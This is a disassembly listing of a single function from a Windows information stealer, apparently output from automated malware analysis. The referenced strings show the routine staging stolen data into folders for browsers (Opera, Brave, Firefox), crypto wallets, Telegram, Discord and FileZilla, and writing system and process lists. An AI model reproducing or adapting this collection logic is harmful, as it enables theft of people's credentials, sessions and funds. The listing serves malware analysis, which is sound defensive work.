Function at 0x140010088
Capabilities:
Create directory
Set current directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x4b8]
sub rsp, 0x5b0
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
call fcn.1400131b0
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x14003e1c8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.1400035d0
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.140004f40
lea r8, [0x14003e068]
lea rcx, [rbp - 0x48]
mov rdx, rax
call fcn.14000a3e4
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x48]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x14003e088]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp - 0x70]
mov rdx, rsi
call fcn.140004f40
lea r8, [0x14003e1e8]
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.14000a3e4
lea r8, str.Browsers
lea rcx, [rbp + 8]
mov rdx, rax
call fcn.14000a3e4
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x70]
call fcn.140004f98
lea rcx, [rbp + 8]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x14003e208]
call fcn.140013e7c
lea rcx, [0x14003e2d8]
call fcn.140013e7c
lea rcx, [0x14003e468]
call fcn.140013e7c
lea rcx, [0x14003e548]
call fcn.140013e7c
lea rdx, [0x14003e798]
lea rcx, [rsp + 0x68]
call fcn.140004f40
lea rdx, [0x14004bd68]
lea rcx, [rbp - 0x70]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bdb8]
lea rcx, [rsp + 0x40]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003720
lea rdx, [0x14003e8a0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bcc8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bc00]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003720
lea rdx, [0x14003e8b0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bbd8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bc78]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003720
lea rdx, [0x14003e8c0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bd18]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bdb8]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400041a0
lea rdx, [0x14003e8d0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bc28]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bc00]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400041a0
lea rdx, [0x14003e8e0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bde0]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bc78]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400041a0
lea rdx, [0x14003e8f0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bd18]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bdb8]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400045b8
lea rdx, [0x14003e900]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bc28]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bc00]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rcx, rax
mov rdx, rbx
call fcn.1400045b8
lea rdx, [0x14003e910]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bde0]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bc78]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400045b8
lea rdx, [0x14003e920]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004be58]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bbb0]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003a54
lea rdx, str.Opera
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bd40]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.14000f5c8
lea rdx, [0x14004bbb0]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.14000f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003d64
lea rdx, [0x14003e940]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bc50]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.1400048bc
lea rdx, [0x14003e950]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bca0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.1400048bc
lea rdx, [0x14003e960]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bcf0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rcx, rax
mov rdx, rbx
call fcn.1400048bc
lea rdx, [0x14003e970]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004be30]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.140004a54
lea rdx, [0x14003e980]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bd90]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.140004a54
lea rdx, [0x14003e990]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004be08]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.140004a54
lea rdx, [0x14003e9a0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bc50]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.140004be0
lea rdx, [0x14003e9b0]
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bca0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.140004be0
lea rdx, str.Brave
lea rcx, [rsp + 0x40]
call fcn.140004f40
lea rdx, [0x14004bcf0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.14000f5c8
mov rdx, rbx
mov rcx, rax
call fcn.140004be0
lea rcx, str.SOFTWAREClassesApplications_firefox.exe
call fcn.1400148e4
test al, al
je 0x1400106b3
lea rcx, [0x14003e7a8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Firefox
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x70]
call fcn.140009294
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.14000f5c8
mov rcx, rax
call fcn.14000a594
lea rcx, [rbp - 0x70]
call fcn.140004f98
lea rcx, [rbp - 0x48]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, str.Wallets
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140010727
call qword [sym.imp.KERNEL32.dll_GetLastError]
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x90]
mov dword [rsp + 0x28], 0x100
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov ecx, 0x1000
mov r8d, eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea r8, str.Error
lea rdx, [rbp + 0x90]
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.140004f40
lea r8, str.CasperSecurityWallets
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.14000a3e4
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x20]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000f5c8
mov rcx, rax
call fcn.14000a028
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000f5c8
mov rcx, rax
call fcn.14000a204
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000f5c8
mov rcx, rax
call fcn.14000a2fc
lea rcx, [rbp - 0x48]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall53F49750_6209_4FBF_9CA8_7A333C87D1ED_is1
call fcn.1400148e4
test al, al
je 0x14001084e
lea rcx, [0x14003ea78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [0x14003eb50]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.140009294
lea rcx, [rbp - 0x70]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x14003eb68]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.140009294
lea rcx, str.Telegram
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.14000f5c8
mov rcx, rax
call fcn.14000e370
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x70]
call fcn.140004f98
lea rcx, str.SOFTWAREClassesDiscord
call fcn.1400148e4
test al, al
je 0x1400108e5
lea rcx, [0x14003ebd0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Messengers
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.140009294
lea rcx, [rbp - 0x70]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x14003ec00]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.140009294
lea rcx, str.Discord
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.14000f5c8
mov rcx, rax
call fcn.14000e4dc
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x70]
call fcn.140004f98
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.140004f40
lea r8, [0x14003ec28]
lea rcx, [rbp + 0x30]
mov rdx, rax
call fcn.14000a3e4
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp + 0x30]
call fcn.14001487c
test al, al
je 0x14001095c
lea r8, str.FileZilla
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x68]
call fcn.140009294
lea rcx, [rsp + 0x68]
call fcn.140004fa4
lea rcx, [rbp + 0x30]
mov rbx, rax
call fcn.140004fa4
mov rdx, rbx
mov rcx, rax
call fcn.1400136a4
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x48]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, str.System.txt
lea rcx, [rsp + 0x68]
call fcn.140004e18
lea rcx, [rsp + 0x68]
call fcn.14000fbe8
lea rcx, [rsp + 0x68]
call fcn.140004e88
lea rdx, str.Processes.txt
lea rcx, [rsp + 0x68]
call fcn.140004e18
lea rcx, [rsp + 0x68]
call fcn.1400140cc
lea rcx, [rsp + 0x68]
call fcn.140004e88
lea rcx, [rbp - 0x48]
call fcn.140004fa4
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.140004f40
mov rcx, rax
call fcn.14000f540
call fcn.14000f794
call fcn.140014144
lea rcx, [0x14003ec78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x68]
call fcn.14000f5c8
lea r8, str.Grabber
lea rcx, [rbp + 0x58]
mov rdx, rax
call fcn.14000a3e4
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp + 0x290]
call fcn.140013c94
lea rcx, [rbp + 0x80]
call fcn.140013cdc
lea rcx, [rbp + 0x58]
call fcn.140004fa4
lea rcx, [rbp + 0x290]
mov rdx, rax
call fcn.140013458
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rbp + 0x58]
call fcn.140004f98
lea rcx, [rbp + 0x30]
call fcn.140004f98
lea rcx, [rbp - 0x20]
call fcn.140004f98
lea rcx, [rbp + 8]
call fcn.140004f98
lea rcx, [rbp - 0x48]
call fcn.140004f98
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret